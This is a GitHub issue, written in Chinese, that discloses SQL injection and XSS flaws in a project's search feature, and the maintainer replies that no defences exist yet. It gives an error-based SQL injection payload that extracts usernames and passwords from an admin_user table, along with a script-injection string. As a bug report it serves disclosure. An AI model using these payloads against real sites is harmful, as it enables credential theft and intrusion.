Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

搜索处SQL注入漏洞和XSS漏洞 #3

Open
thiscodecc opened this issue Oct 25, 2019 · 1 comment
Open

搜索处SQL注入漏洞和XSS漏洞 #3

thiscodecc opened this issue Oct 25, 2019 · 1 comment

Comments

@thiscodecc
Copy link

在搜索处请求如下参数会产生SQL注入漏洞
a1%27%20and%20updatexml(2,concat(0x7e,(SELECT%20concat(username,%27=%27,password)%20FROM%20admin_user)),0)%23
如图
image
输入如下参数会产生XSS漏洞
";alert(1);//
image

@miansen
Copy link
Owner

miansen commented Oct 30, 2019

谢谢您提出的问题~
目前 SQL 注入和 XSS 攻击还没有做相应的防御措施

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants